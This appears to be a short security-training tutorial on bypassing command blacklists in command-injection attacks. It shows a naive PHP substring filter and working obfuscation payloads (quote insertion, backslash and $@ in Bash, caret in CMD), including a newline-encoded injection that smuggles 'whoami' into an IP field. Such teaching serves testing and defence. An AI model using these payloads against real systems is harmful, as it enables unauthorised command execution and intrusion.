Bypassing Blacklisted Commands

A command blacklist blocks specific words (e.g., whoami, cat). Unlike character blacklists, these check for exact string matches — obfuscating the command string causes the filter to miss the match while the shell still executes it.

How command blacklists work (PHP example)

$blacklist = ['whoami', 'cat', ...];
foreach ($blacklist as $word) {
    if (strpos($_POST['ip'], $word) !== false) {
        echo "Invalid input";
    }
}

The filter looks for an exact substring match. Inserting characters that shells silently ignore produces a string the filter does not recognize but the shell executes normally.

Quote insertion (Linux and Windows)

Bash and PowerShell ignore quotes interspersed within command words:

w'h'o'am'i       # works
w"h"o"am"i       # works

Rules:

• Quotes must be even in count (matched pairs)
• Cannot mix quote types within one obfuscated word

Example payload:

127.0.0.1%0aw'h'o'am'i

Backslash and $@ (Linux only)

Bash also silently ignores \ and $@ inside command words. No even-count requirement — a single character is sufficient:

who$@ami
w\ho\am\i

Caret ^ (Windows CMD only)

CMD ignores ^ within command words:

who^ami